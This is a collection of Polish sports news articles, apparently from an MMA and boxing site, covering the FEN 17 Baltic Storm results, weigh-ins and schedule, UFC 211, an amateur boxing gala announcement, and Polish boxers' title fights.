W pierwszych rundach kończyły się także trzy ostatnie walki karty głównej FEN 17 Baltic Storm. Michał Wlazło w rzadko spotykanych okolicznościach pokonał Martina Chudeja. Były kulturysta z Czech po kopnięciu w udo utrzymywał, że został sfaulowany, ale sędzia nie dał się nabrać i odebrał zawodnikowi punkt za udawanie. Kiedy Chudej nie zareagował na wezwania do kontynuowania walki i nie podniósł się z maty, został zdyskwalifikowany. Radosław Paczuski w drugim swoim występie w federacji FEN odniósł drugie efektowne zwycięstwo – już w pierwszych akcjach frontalnymi kopnięciami odebrał Menno Van Roosmalenowi ochotę do walki, a później ciężkimi ciosami, którymi bezbłędnie trafiał Holendra, zakończył ten nierówny pojedynek. Znakomitą dyspozycję zaprezentował również Michał Oleksiejczuk, który pokonał niedawnego pogromcę Marcina Zontka – Riccardo Nosiglię. „Lord”, który po jednym z pierwszych uderzeń Włocha wylądował na deskach, szybko złapał rytm, mocno zaatakował rywala i serią potężnych sierpowych wywalczył sobie dwunaste zwycięstwo w zawodowej karierze.

Niespełna dwie rundy trwała walka Marcina Szredera z Arturem Bizewskim, ale była to prawdziwa kickbokserska wojna. W pierwszej rundzie dominował reprezentant Palestry Warszawa, który częściej i celniej trafiał swego przeciwnika, już na początku starcia prawym sierpowym posyłając go na deski. Liczony „Bizon” wrócił jednak do gry, w drugiej rundzie starał się przejąć inicjatywę, aż w końcu dopadł Szredera zaskakującym prawym sierpowym, po którym sędzia zdecydował się przerwać walkę.

Przez pełne trzy rundy walczyli ze sobą uczestnicy pozostałych walk karty głównej. Jarosław Daschke w pojedynku z Robertem Rajewskim juniorem potwierdził, że jest jednym z najlepszych wojowników K-1 w Polsce – od początku kontrolował sytuację w klatce i systematycznie punktował odważnie walczącego rywala, który na wyżej notowanego  doświadczonego rywala nie mógł znaleźć żadnej recepty. Wcześniej bezdyskusyjne zwycięstwo po niemal rocznej przerwie od swojej ostatniej, przegranej walki z Kamilem Łebkowskim odniósł Piotr „Płetwal” Hallmann. Świetnie dysponowany były zawodnik UFC ze znacznie mniej doświadczonym, pierwszy raz walczącym w Polsce Patrykiem Nowakiem walczył spokojnie, konsekwentnie go rozbijając, i sędziowie nie mieli żadnych problemów ze wskazaniem zwycięzcy tego starcia.

Bardzo widowiskowy pojedynek na zakończenie karty wstępnej kibicom w hali i widzom przed telewizorami zafundowali Mateusz Łazowski i Kryspin Kalski. Pierwsza runda należała do stawiającego pierwsze kroki w zawodowym K-1 Łazowskiego, który przede wszystkim imponował mocnymi low-kickami. W drugiej stopniowo rosła przewaga Kalskiego, który wykorzystywał rosnące zmęczenie rywala i umiejętnie go punktował. On też zachował więcej sił na trzecią rundę, ale nie zdołał w niej zadać decydującego ciosu lub kopnięcia i dopiero werdykt sędziów stolikowych pozwolił mu dopisać do swego rekordu kolejne zwycięstwo.

Porażkami faworytów w tej części gali FEN 17 Baltic Storm zakończyły się walki Aleksandra Rychlika z Bartoszem Leśko i Alana Kwiecińskiego z Kamilem Mateją – Leśko w drugiej rundzie poddał Rychlika duszeniem zza pleców, a młodziutki Mateja lepiej taktycznie rozegrał swój pojedynek i wygrał jednogłośnie na punkty. Do udanej wyprawy do Polski nie zaliczą z kolei Ukraińcy Alexey Oleinik i Dmitriy Borsuk, którzy musieli uznać wyższość odpowiednio Aleksandra Georgasa i Ireneusza Szydłowskiego, oraz pierwszy raz walczący w FEN Damian Tarabasz, którego na otwarcie gali pokonał przez balachę w trzeciej rundzie inny debiutant Adam „Brooklyn” Brzezowski.

Wyniki gali FEN 17 Baltic Storm

Walka wieczoru:

MMA -74 kg: Kamil Łebkowski pokonał przez techniczny nokaut w pierwszej rundzie Sauliusa Buciusa

Karta główna:

MMA -120 kg: Michał Wlazło pokonał przez dyskwalifikację w pierwszej rundzie Martina Chudeja

K-1 -85 kg: Radosław Paczuski pokonał przez techniczny nokaut w pierwszej rundzie Menno Van Roosmalena

MMA -93 kg: Michał Oleksiejczuk pokonał przez nokaut w pierwszej rundzie Riccardo Nosiglię

K-1 -95 kg: Artur Bizewski pokonał przez techniczny nokaut w drugiej rundzie Marcina Szredera

K-1 -70 kg: Jarosław Daschke pokonał jednogłośną decyzją sędziów Roberta Rajewskiego Jr

MMA -70 kg: Piotr Hallmann pokonał jednogłośną decyzją sędziów Patryka Nowaka

Karta wstępna:

K-1 -120 kg: Kryspin Kalski pokonał jednogłośną decyzją sędziów Mateusza Łazowskiego

MMA -66 kg: Aleksander Georgas pokonał przez techniczny nokaut w drugiej rundzie Alexeya Oleinika

MMA -84 kg: Bartosz Leśko pokonał przez poddanie (duszenie zza pleców) w drugiej rundzie Aleksandra Rychlika

MMA -77 kg: Ireneusz Szydłowski pokonał jednogłośną decyzją sędziów Dmitriya Borsuka

K-1 -70 kg: Kamil Mateja pokonał jednomyślną decyzją sędziów Alana Kwiecińskiego

MMA -77 kg: Adam Brzezowski pokonał przez poddanie (balacha) w trzeciej rundzie Damiana Tarabasza

FEN

3 czerwca gala bokserska Landowski Boxing Night X „Zostań olimpijczykiem”

3 czerwca w warszawskiej Hali Koło przy ul. Obozowej 60 odbędzie gala bokserska Landowski Boxing Night X, na której zmierzą się zawodnicy boksu olimpijskiego i „koneserzy pięściarstwa”, czyli osoby trenujące boks rekreacyjnie.

To już 10. edycja cieszącego się coraz większą popularnością wydarzenia, które na stałe zagościło w kalendarzu bokserskich imprez Warszawy i Mazowsza.

– Pierwsza impreza odbyła się przed kilkoma laty na Fortach Bema w Klubie Sportowym Legia i cieszyła się dużym zainteresowaniem, do tego stopnia, że hala z ledwością pomieściła przybyłych gości –  wspomina początki gal Łukasz Landowski.

Dziś gala Landowski Boxing Night to w pełni profesjonalnie organizowana duża impreza bokserska z pełną oprawą, muzyką na wejście, ring girls i nagrodami. Wydarzenie pod względem frekwencji przewyższa niejedną galę zawodową w Polsce transmitowaną przez telewizję.

– Z roku na rok, z imprezy na imprezę przychodzi coraz więcej osób, kibiców boksu. Dochodzą nas słuchy, że nasze gale niewiele różnią się od największych bokserskich eventów – potwierdza Łukasz Landowski.

Landowski Boxing Night X pod hasłem „Zostań olimpijczykiem” ma za zadanie promować polskie pięściarstwo szczególnie wśród dzieci i młodzieży. Treningi w szkole bokserskiej braci Landowskich pozwalają najmłodszym nie tylko odnosić sukcesy na ringach amatorskich, ale przede wszystkim oderwać się na co dzień od telefonów i Internetu.

Karol Landowski, który trenuje najmłodsze grupy mówi: – Chcemy pokazać drogę młodego sportowca jaką musi przebyć, aby zostać Olimpijczykiem, a medal na Igrzyskach Olimpijskich jak i same uczestnictwo w nich – to marzenie każdego młodego zawodnika.

Na treningi uczęszczają tam m.in. młodsi bracia jednego z najlepszych obecnie polskich bokserów zawodowych Macieja Sulęckiego – Jakub i Paweł.

– Wiemy, że po ostatnich galach młodzi zawodnicy byli bardzo zadowoleni, że mogli walczyć na takiej gali, z taką oprawą imprezy. Czuli się jak prawdziwi docenieni sportowcy. Po takim wydarzeniu trafiło do nas na salę kilkoro młodzieży, która do dzisiaj trenuje. To oni mogą zostać właśnie przyszłymi olimpijczykami – dodaje Karol Landowski.

Organizatorzy liczą na firmy i zwykłych darczyńców, którzy chcieliby nie tylko wesprzeć X edycję gali Landowski Boxing Night, ale również przyczynić się do rozwoju idei pięściarstwa wśród młodzieży. W tym celu przygotowali specjalną prezentację (http://landowskiboxing.com/2017/04/26/landowski-boxing-night-ix-2/).

– Największe wyzwanie stanowi zgromadzenie odpowiedniej ilości środków finansowych na pokrycie wszystkich kosztów, uzyskanie pozwoleń, zapewnienie ochrony przewidzianej dla imprezy masowej, zorganizowanie oprawy, opieki medycznej oraz zapewnienie nagród dla uczestników gali – wyjaśnia Łukasz Landowski.

Gala będzie również doskonałą okazją do zrobienia sobie pamiątkowego zdjęcia z osobami ze świata mediów i boksu. Galę poprowadzi jak co roku Szymon Majewski. Swoją obecność potwierdzili m.in. Ewa Brodnicka, Jordan Kuliński, Norbert Dąbrowski, Maciej Sulęcki czy Karolina Łukasik.

Gala Landowski Boxing Night X Zostań Olimpijczykiem, odbędzie się 3 czerwca 2017 godzina 19:00 w Hali Sportowej Koło na ulicy Obozowej 60 w Warszawie.

Bilety w cenie 30 zł (trybuny), 50 zł (płyta) i 200 zł (VIP – stoliki, catering z obsługą) do nabycia w recepcji klubu Impuls na Bielanach i w Nastula Club Bielany oraz bezpośrednio u trenerów Łukasza i Karola Landowskich.

 

Więcej informacji:

www.landowskiboxing.com

Łukasz Landowski, tel. 602 80 80 70

Karol Landowski, tel. 510 615 515

Piękny amerykański sen Jędrzejczyk

Cudowne, wspaniałe, niezwykłe i niepowtarzalne emocje towarzyszą kibicom podczas każdej walki Joanny Jędrzejczyk w UFC. Nasza mistrzyni wagi słomkowej po raz piąty obroniła pas. Podczas gali UFC 211 w Dallas Polka pokonała Jessicę Andrade. Dobiegła końca wspaniała seria zwycięstw Krzysztofa Jotko. Polaka zastopował David Branch.

Joanna Jędrzejczyk jest uosobieniem sukcesu, który został poparty ciężką i wytężoną pracą, a przy tym normalnością. 29-latka urodzona w Olsztynie sięgnęła gwiazd, ale nadal pozostaje otwartą i sympatyczną osobą. Ale w oktagonie nie ma litości dla rywalek.

Lepsza od Rondy?

Jędrzejczyk trafiła do UFC w lipcu 2014 roku. W debiucie pokonała jednogłośną decyzją sędziów Julianę Limę, która próbowała zapaśniczych ataków, jednak Polka skutecznie się broniła i przeciwstawiała się niemalże perfekcyjną stójką. Odnosząca sukcesy w muay thai i kickboxingu zawodniczka weszła do wielkiego świata MMA. Wtedy królową UFC była Ronda Rousey, która wcześniej panowała w Strikeforce. Była judoczka została pierwszą mistrzynią najlepszej organizacji MMA na świecie. Rousey porywała widzów efektownymi walkami. Nie raz kończyła pojedynki po upływie zaledwie kilkunastu sekund. W tym samym czasie swoją pozycję w UFC budowała Jędrzejczyk, która w marcu 2015 sięgnęła po tytuł w wadze słomkowej.

Obecnie zdecydowanie wyżej stoją akcje Polki. Ronda Rousey znalazła się na zakręcie. Półtora roku temu straciła pas wagi koguciej na rzecz Holly Holm, w kolejnej walce przegrała z Amandą Nunes. Jej przyszłość w UFC stanęła pod znakiem zapytania. 

Teraz Jędrzejczyk jest twarzą numer 1 kobiecego MMA. Pokonując Karolinę Kowalkiewicz, mistrzyni wagi słomkowej pobiła rekord Rousey, jeśli chodzi o liczbę zwycięstw w amerykańskiej organizacji. „Rowdy” odniosła ich sześć, 29-latka zaś siedem, a w sobotnią noc (13 maja) dołożyła kolejny triumf triumfując w starciu z Jessicą Andrade.

Jędrzejczyk pisze piękną historię w UFC. Wygrywając w Dallas z Brazylijką odniosła szóste zwycięstwo w starciach o mistrzostwo. Taki sam wynik na swoim koncie zapisała Rousey w latach 2013-2015.

W Dallas Polka po raz kolejny pokazała klasę. Starcie było szybkie, jednak karty rozdawała Jędrzejczyk. Mistrzyni wagi słomkowej wyprowadzała mocne i pewne ciosy, w stójce zupełnie dominowała. Andrade była wytrzymała i szukała parteru, ale Jędrzejczyk nie dała się zaskoczyć. Sędziowie byli jednomyślni: 50:45, 50:45, 50:44.

Klasa Polki nie podlega żadnej dyskusji. Jędrzejczyk potwierdza, że jest najlepszą zawodniczką UFC bez podziału na kategorie wagowe. W Dallas Jędrzejczyk zapisała na swoim koncie czternaste zwycięstwo w karierze.

Jotko zatrzymany

Krzysztof Jotko miał fantastyczną passę w UFC. Pięć wygranych z rzędu sprawiło, że jego akcje wśród wojowników wagi średniej poszybowały w górę. W Dallas Polak spotkał się z doświadczonym Davidem Branchem. Na swoje konto Jotko zapisał drugą rundę, w której dobrze prezentował się w stójce. Przez większą część walki Branch dążył do klinczu i chciał wykorzystać umiejętności zapaśnicze. Walka nie porywała, co sprawiło nie lada problem sędziom. Niejednogłośnie wskazali na 35-letniego Amerykanina (28:29, 28:29, 29:28), choć inny werdykt nie byłby nadużyciem. Po raz drugi Jotko musiał przełknąć gorycz porażki w UFC.

W Dallas Stipe Miocic po raz drugi obronił pas w wadze ciężkiej. Już w pierwszej rundzie niespełna 35-letni Amerykanin pokonał przez techniczny nokaut Juniora dos Santosa.

Wyniki gali UFC 211:

Stipe Miocic pokonał Juniora dos Santosa przez TKO w pierwszej rundzie
Joanna Jędrzejczyk pokonała Jessicę Andrade jednogłośną decyzją sędziów 

Demian Maia pokonał Jorge'a Masvidala niejednogłośną decyzją sędziów 
Frankie Edgar pokonał Yaira Rodrigueza przez TKO po drugiej rundzie
David Branch pokonał Krzysztofa Jotkę niejednogłośną decyzją sędziów 

Eddie Alvarez – Dustin Poirier – nierozstrzygnięte
Jason Knight pokonał Chasa Skelly'ego przez TKO w trzeciej rundzie
Chase Sherman pokonał Rashada Coultera przez KO w drugiej rundzie
James Vick pokonał Marco Polo Reyesa przez TKO w pierwszej rundzie
Cortney Casey pokonała Jessicę Aguilar jednogłośną decyzją sędziów
Enrique Barzola pokonał Gabriela Beniteza jednogłośną decyzją sędziów 
Gadżhimurad Aritigulow pokonał Joachima Christensena przez poddanie w pierwszej rundzie

fot. sherdog.com

KM

Wojownicy FEN odwiedzą Koszalin

Organizacja Fight Exclusive Night rozpoczęła przygotowania do czwartej tegorocznej gali. Tym razem, 12 sierpnia, odwiedzi Koszalin.

Do tej pory organizacja FEN gościła w ośmiu miastach: Wrocławiu, Sopocie, Lubinie, Bydgoszczy, Kołobrzegu, Gdyni, Warszawie i Katowicach

Letnie uderzenie

Pierwsze słowo organizacja Fight Exclusive Night powiedziała w listopadzie 2013 roku we Wrocławiu. W walce wieczoru zaprezentowali się Patryk Grudniewski i Grzegorz Szulakowski. Ze zwycięstwa cieszył się „Szuli”, który w drugiej rundzie poddał rywala. Warto dodać, że półtora roku później panowie spotkali się na gali KSW. Ponownie lepszy okazał się Szulakowski. 

W 2014 roku odbyły się trzy gale organizacji FEN, rok później pięć, z kolei w 2016 roku sześć. O jakość widowiska dbali zawodnicy mający bogate doświadczenie oraz obiecujący młodzi fighterzy. Wśród nich można wymienić: Romana Szymańskiego, Marcina Zontka, Marcina Wójcika, Tomasza Sararę, Marcina Naruszczkę, Iwonę Nierodę czy Igora Kołacina, który w marcu 2016 roku stoczył swoją walkę pożegnalną.

Czas leci nieubłaganie i FEN szykuje kolejne wydarzenie. Gala numer osiemnaście „Summer Edition” odbędzie się 12 sierpnia w Koszalinie. Kogo zobaczymy w akcji? Po raz kolejny gwiazdą wieczoru będzie Kamil Łebkowski, którzy marzy o występach w UFC. „Bomba” zaliczył trzy walki w organizacji FEN, z których dwie zakończyły się jego zwycięstwem. Możliwe, że rywalem 29-latka będzie Sergej Grecicho. Litwin zaprezentował się na gali KSW 26, podczas której pokonał Jakuba Kowalkiewicza. Półtora roku temu doznał porażki z rąk Filipa Wolańskiego na IFN 1.

W Koszalinie miałby wystąpić Bartłomiej Kopera. 24-latek pochodzący z Łodzi chciałby się zrehabilitować za porażkę, której doznał w starciu z Daguirem Imavovem podczas gali FEN 16. Warto dodać, że Francuz zastopował imponującą serię Kopery. Polak wygrał sześć kolejnych walk.

Gdynia szczęśliwa dla Bizewskiego

Najbliższe plany włodarze FEN wyjawili podczas piątkowej (12 maja) gali w Gdyni. Organizacja po raz drugi gościła w Gdynia Arenie. Kilka słów o gali FEN 17. Tak jak i w sierpniu ubiegłego roku, w Gdyni ze zwycięstwa cieszył się Artur Bizewski (K-1, 85kg). Tyle, że tym razem znokautował w drugiej rundzie Marcina Szredera. Podczas poprzedniej wizyty w Gdyni Bizewski wygrał na punkty. Ponownie w Gdynia Arenie triumfowali: Ireneusz Szydłowski (MMA, 77kg) i Jarosław Daschke (K-1, 70kg).

Drugie zwycięstwo w organizacji FEN zanotował Radosław Paczuski (K-1, 85kg), który znokautował w pierwszej rundzie Menno van Roosmalena. Efektowne rozstrzygnięcie Kamila Łebkowskiego (MMA, 66kg). W walce wieczoru Polak szybko odprawił Sauliusa Buciusa. Łebkowski zdobył dominującą pozycję w parterze i posłał w stronę rywala wiele mocnych ciosów. 

KM

Brodnicka zrealizowała cel

Częstochowa szczęśliwa dla Ewy Brodnickiej. Populara „Kleo” pokonała Irmę Balijagić Adler i sięgnęła po tymczasowe mistrzostwo świata WBO w wadze super piórkowej.

Boks w kobiecym wydaniu. Ewa Brodnicka wykonuje tytaniczną pracę dla popularyzacji pięściarstwa w wykonaniu pań. 

Zadanie wykonane

Spełnić marzenia – z takim założeniem do ringu wchodziła Ewa Brodnicka. W Częstochowie czekała ją trzynasta zawodowa walka, której stawką było tymczasowe mistrzostwo świata WBO w wadze super piórkowej. Aby podjąć wyzwanie, musiała pożegnać się z tytułem mistrzyni Europy. Pas zdobyła w grudniu 2015 roku, kiedy w Łomiankach pokonała Elfi Philips. 

W Częstochowie rywalką urodziwej Polki była Irma Balijagic Adler. 35-letnia zawodniczka z Bośni może pochwalić się zdecydowanie większym doświadczeniem niż Brodnicka, gdyż pierwszy zawodowy pojedynek stoczyła w kwietniu 2007 roku („Kleo” debiutowała w lutym 2013 roku). Dla Adler nie była to pierwsza walka o stawkę, jednak o wcześniejszych starciach wolałaby zapomnieć. Ostatnie lata dla reprezentantki Bośni to występy w kratkę. Wygrała dwie z pięciu walk, a stawką trzech pojedynków były pas. W październiku 2015 roku Adler pokonała Mirjanę Vujić i zdobyła tytuł World Boxing Foundation w wadze lekkiej.

Brodnicka była zdeterminowana. W drodze na ring towarzyszyła jej piosenka Czerwonych Gitar „Nikt na świecie nie wie”. Polka agresywnie i odważnie rozpoczęła pojedynek. Widać było, że 32-letnia „Kleo” jest głodna walki. Lewy sierpowy i lewy podbródkowy często dochodziły do celu. Można stwierdzić, że Adler była zaskoczona aktywnością Polki. 35-latka reprezentantka Bośni starała się znaleźć przestrzeń dla siebie, ale była tłem dla energicznej Brodnickiej. Na półmetku starcia przewaga Polki nie podlegała dyskusji. Zastrzeżenia można było mieć do tempa walki, które nie porywało. W szóstej rundzie Brodnicka przyspieszyła, trafiała i unikała kontrataków. Adler przyjmowała kolejne ciosy, ale twardo trzymała się na nogach. Przewaga „Kleo” nie podlegała dyskusji. W dziewiątej rundzie Brodnicka opuściła nieco prowokacyjnie ręce i czekała na atak rywalki. Adler była jednak ostrożna oraz uważna, bo za chwilę kolejne ciosy w jej stronę posłała Polka. Warto zaznaczyć, że walka była czysta. Sędzia był praktycznie obserwatorem, nie musiał interweniować, gdyż zawodniczki nie klinczowały. Do końca Brodnicka kontrolowała przebieg walki i osiągnęła swój cel. Wszyscy sędziowie punktowali 100:90 dla Polki.

Młodzieżowy mistrz

Przed szansą zdobycia pasa młodzieżowego mistrza świata WBO w wadze półciężkiej stanął Robert Parzęczewski. 23-letni bokser ostatnie pięć pojedynków wygrał przed czasem. Parzęczewski górował warunkami fizycznymi nad Zurą Mekereshvilim. Polak chciał wykorzystać swoją przewagę, częściej uderzał i był zdecydowanie szybszy. Gruzin dał o sobie znać w piątej odsłonie. Parzęczewski nieco otworzył się, co chciał wykorzystać rywal. Jednak nadal Polak był stroną, która dyktowała tempo walki. Na punkty zdecydowanie prowadził Parzęczewski, lecz kibice czekali na kończący cios. Gruzin twardo trzymał się na nogach i wytrzymał pełne dziesięć rund. Nie było żadnych wątpliwości, do kogo powędruje pas. Parzęczewski młodzieżowym mistrzem świata WBO.

W Częstochowie kolejne wygrane na swoim koncie zapisali: Michał Żuromiński (półśrednia), Marcin Siwy (ciężka) i Tomasz Gromadzki (super średnia).

KM

Kamil Łebkowski z nowym rywalem w walce wieczoru FEN 17

Brazylijczyk Caio Machado, który prawdopodobnie padł ofiarą oszustów, nie wystąpi jutro w walce wieczoru gali FEN 17 Baltic Storm w Gdynia Arena. W zastępstwie za Brazylijczyka z Kamilem „Bombą” Łebkowskim zmierzy się doświadczony litewski wojownik, specjalista od szybkich poddań i nokautów Saulius Bucius.

„Caio Machado i jego trenerzy, bez względu na udział tego zawodnika w gali FEN 17 Baltic Storm, mieli już dawno zaplanowany w tym czasie przyjazd do Europy, dlatego na własną rękę z pomocą swojego sponsora organizowali sobie lot przez Atlantyk. My, zgodnie z umową, zabukowaliśmy im bilety na połączeniach lokalnych. Niestety, Brazylijczycy prawdopodobnie zostali oszukani przez agencję pośredniczącą w sprzedaży biletów lotniczych, stracili dużo czasu, próbując wyjaśnić sprawę, za późno dali nam znać o swoich problemach i ostatecznie nie udało nam się już im pomóc, tak aby na czas dolecieli do Polski. Caio Machado na pewno jednak pojawi się na jednej z naszych kolejnych gal” – wyjaśnia prezes FEN Paweł Jóźwiak.

W zastępstwie za Caio Machado nowym przeciwnikiem Kamila Łebkowskiego będzie doświadczony litewski fighter Saulius Bucius (29 lat, 180 cm, 13-11-1). Dla reprezentanta klubu The Knight of Plunge będzie to trzecia walka z zawodnikiem z Polski i jednocześnie trzecia w naszym kraju – w poprzednich latach w Gdyni mierzył się z późniejszym zawodnikiem UFC Łukaszem Sajewskim, a w Toruniu z Krzysztofem Klaczkiem. W swojej bogatej karierze Litwin walczył też na galach w Anglii, Francji, Rosji, Finlandii i Czechach. Bucius ma na koncie 13 zwycięstw, z których aż 12 odniósł przez nokaut lub poddanie, 11 porażek i 1 remis. Z pięciu ostatnich walk wygrał cztery – ostatnie zwycięstwo odniósł miesiąc temu, na gali King of The Cage: Baltic Tour, nokautując w pierwszej rundzie Rosjanina Baburmirzo Abdufataeva.

Kamil Łebkowski (29 lat, 178 cm, 15-5) to z pewnością jeden z najgroźniejszych i najbardziej zmotywowanych przeciwników w długiej karierze Saliusa Buciusa. Zawodnik klubu Dziki Wschód Biała Podlaska po niedawnej porażce na punkty z Brazylijczykiem Gabrielem „Gabito” Silvą, która przerwała jego imponującą serię 10 wygranych walk z rzędu, będzie chciał na gali FEN 17 Baltic Storm wrócić na zwycięską ścieżkę i zbliżyć się do realizacji swojego marzenia o debiucie z UFC. Przegrana z bratem słynnego Ericka Silvy oddaliła „Bombę” od tego celu, ale najlepszy piórkowy polskiego MMA, który w CV ma efektowne zwycięstwa nad takimi rywalami, jak Japończyk Yoshihiro Koyama, znokautowany na gali WSOF Global Championship 2 w Tokio, czy były fighter UFC Piotr Hallmann, którego wypunktował na gali FEN 13 Summer Edition, w Gdynia Arena postara się udowodnić, że jego kontrakt z amerykańskią federacją to tylko kwestia czasu.

W pozostałych walkach na zasadach MMA na gali FEN 17 Baltic Storm zmierzą się m.in. Piotr Hallmann z Patrykiem Nowakiem, Michał Wlazło z Czechem Martinem Chudejem, Michał Oleksiejczuk z Włochem Riccardo Nosiglią, Aleksander Georgas z Ukraińcem Alexeyem Oleinikiem oraz Ireneusz Szydłowski z Dmitriyem Borsukiem z Ukrainy. Z kolei w formule K-1 w Gdynia Arena walczyć będą jutro tacy znakomici zawodnicy, jak Radosław Paczuski, Jarosław Daschke, Marcin Szreder, Artur Bizewski i Kryspin Kalski. Pełny fight card gali na oficjalnej stronie FEN.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

FEN 17 Baltic Storm: wyniki ważenia

Już jutro na gali FEN 17 Baltic Storm po raz pierwszy w historii organizacji Fight Exclusive Night zawodnicy będą walczyć w klatce. W Gdynia Arena kibice obejrzą 13 pojedynków MMA i K-1, których bohaterowie dziś popołudniu stanęli ze sobą twarzą w twarz podczas oficjalnej ceremonii ważenia.

Tradycyjnie już uczestnicy gali Fight Exclusive Night mogli wejść na wagę zarówno podczas porannej sesji w hotelu, jaki oficjalnej ceremonii w Gdynia Arena. W swoich limitach wagowych zmieścili się wszyscy zawodnicy. Podczas popołudniowego ważenia ogłoszona została zmiana przeciwnika dla Kamila Łebkowskiego w walce wieczoru jutrzejszych zawodów – Brazylijczyka Caio Machado, który z powodów komplikacji związanych z podróżą do Europy nie dotarł na czas do Gdyni, zastąpi litewski specjalista od szybkich poddań i nokautów Saulius Bucius. Z tego względu dla main eventu FEN 17 Baltic Storm ustalono catchweight w limicie 74 kg.

FEN 17 Baltic Storm: wyniki ważenia

MMA -74 kg: Saulius Bucius (74,0 kg) vs Kamil Łebkowski (73,5 kg)

MMA -120 kg: Martin Chudej (120,0 kg) vs Michał Wlazło (120,1 kg)

K-1 -85 kg: Menno Van Roosmalen (84 kg) vs Radosław Paczuski (85,1 kg)

MMA -93 kg: Ricardo Nosiglia (93,0 kg) vs Michał Oleksiejczuk (93,1 kg)

K-1 -95 kg: Artur Bizewski (94,4 kg) vs Marcin Szreder (94,9 kg)

K-1 -70 kg: Robert Rajewski Jr (70,2 kg) vs Jarosław Daschke (70,0 kg)

MMA -70 kg: Patryk Nowak (70,2 kg) vs Piotr Hallmann (70,2 kg)

K-1 -120 kg: Mateusz Łazowski (100,6 kg) vs Kryspin Kalski (104,8 kg)

MMA -66 kg: Alexey Oleinik (66,2 kg) vs Aleksander Georgas (66,2 kg)

MMA -84: Bartosz Leśko (84,1 kg) vs Aleksander Rychlik (83,9 kg)

MMA -77 kg: Dmitriy Borsuk (77,0 kg) vs Ireneusz Szydłowski (77,1 kg)

K-1 -70 kg: Kamil Mateja (69,4 kg) vs Alan Kwieciński (70,2 kg)

MMA -77 kg: Adam Brzezowski (76,5 kg) vs Damian Tarabasz (76,7 kg)

FEN

FEN 17 Baltic Storm: Michał Wlazło przed walką z Martinem Chudejem

Kiedy dwóch wojowników MMA wagi ciężkiej staje naprzeciwko sobie w klatce, wszystko jest możliwe. Jaką receptę na pokonanie Czecha Martina Chudeja będzie miał Michał Wlazło podczas dzisiejszej gali FEN 17 Baltic Storm w Gdynia Arena?

Bilety do kupienia na Eventim.pl (http://goo.gl/j0EA4n) i KupBilet.pl (http://goo.gl/i6vKYs) oraz w kasie hali Gdynia Arena.

[kod]

FEN 17 Baltic Storm: plan dnia

Przedstawiamy szczegółowy plan wydarzeń oraz transmisji telewizyjnych na żywo z dzisiejszej gali FEN 17 Baltic Storm w Gdynia Arena.

Gala FEN 17 Baltic Storm – Gdynia Arena, ul. Kazimierza Górskiego 8, Gdynia

godz. 15:00 – otwarcie kas

godz. 17:45 – otwarcie bram hali

godz. 18:00 – rozpoczęcie gali

godz. 18:05 – karta wstępna

  • MMA -77 kg: Adam Brzezowski vs Damian Tarabasz
  • K-1 -70 kg: Kamil Mateja vs Alan Kwieciński
  • MMA -77 kg: Dmitriy Borsuk vs Ireneusz Szydłowski
  • MMA -84 kg: Bartosz Leśko vs Aleksander Rychlik

godz. 19:00 – start transmisji w Polsat Sport Fight i Ipla.tv

  • MMA -66 kg: Alexey Oleinik vs Aleksander Georgas
  • K-1 -120 kg: Mateusz Łazowski vs Kryspin Kalski

godz. 20:00 – ceremonia otwarcia / start transmisji w Polsat Sport

godz. 20:30 – karta główna

  • MMA -70 kg: Patryk Nowak vs Piotr Hallmann
  • K-1 -70 kg: Robert Rajewski Jr vs Jarosław Daschke

godz. 21:00 – start transmisji w Super Polsat

  • K-1 -95 kg: Artur Bizewski vs Marcin Szreder
  • MMA -93 kg: Ricardo Nosiglia vs Michał Oleksiejczuk
  • K-1 -85 kg: Menno Van Roosmalen vs Radosław Paczuski
  • MMA -120 kg: Martin Chudej vs Michał Wlazło

godz. 23:30 – walka wieczoru

  • MMA -74 kg: Saulius Bucius vs Kamil Łebkowski

FEN After Party – Unique Club & Lunge, Plac Zdrojowy 1, Sopot

FEN 17 Baltic Storm: zapowiedź walki Łebkowski vs Bucius

Po porażce z Brazyliczykiem Gabrielem Silvą czołowy piórkowy polskiego MMA Kamil Łebkowski dziś wieczorem w Gdynia Arena musi pokonać Litwina Sauliusa Buciusa, aby jego plany znalezienia się w UFC nie pozostały tylko w sferze marzeń. Zobaczcie zapowiedź walki wieczoru gali FEN 17 Baltic Storm!

Bilety do kupienia na Eventim.pl (http://goo.gl/j0EA4n) i KupBilet.pl (http://goo.gl/i6vKYs) oraz w kasie hali Gdynia Arena.

[kod]

Miliony pojawią się na stole?

Krzysztof „Diablo” Włodarczyk dał swoim kibicom wiele radości. Bokser zapisał na swoim koncie tytuły mistrza świata WBC i IBF. Czy to już tylko wspomnienie? 20 maja w Poznaniu stoczy pojedynek, który może być dla niego przepustką do kolejnych sukcesów. Rywalem Polaka będzie Noel Gevor.

Gdy wydawało się, że kariera Włodarczyka znalazła się na zakręcie, on wrócił i zaczął boksować. Krok po kroku dochodził do formy. Nigdy nie ukrywał, że chciałby wrócić do światowej czołówki.

Zrobić krok w kierunku walki o pas

Sześć razy skutecznie bronił pasa WBC. Tytuł wywalczył w maju 2010 roku, kiedy w Łodzi w ósmej rundzie pokonał Giacobbe Fragomeniego. Później tytuł próbowali mu odebrać Jason Robinson, dwukrotnie Francisco Palacios, Danny Green, Rakhin Chakhiev i raz jeszcze Polak spotkał się z Fragomenim. Trzy z tych walk „Diablo” wygrał przed czasem. Pasa WBC bronił w Polsce, Australii, Rosji i USA. Wydawało się, że nikt nie będzie w stanie mu odebrać tytułu mistrzowskiego. 27 września 2014 roku Włodarczyk spotkał się w Moskwie z Grigorym Drozdem. Polak był cieniem samego siebie i przegrał na punkty.

Później zniknął na pół roku. Miał stoczyć rewanżowy pojedynek z Drozdem, ale rozchorował się. W grudniu 2015 roku planowano starcie Włodarczyka z Beibutem Szumenowem, jednak ten doznał kontuzji kolana. W końcu „Diablo” pojawił się w ringu w marcu w Sosnowcu i odprawił przed czasem Valery'ego Brudowa. Wielu podkreślało, że jeszcze sporo wody musi upłynąć w Wiśle, zanim były mistrz świata wrócić do optymalnej formy. Włodarczyk stoczył jeszcze dwie wygrane walki. W tym roku jeszcze nie walczył, w ringu pojawi się 20 maja.

Rywalem Włodarczyka w Poznaniu będzie Noel Gevor. Jeśli Polak wygra, mogą otworzyć się przed nim nowe możliwości. W wieku blisko 36 lat może po raz kolejny zaatakować mistrzostwo świata i duże pieniądze.

Kasa na stół!

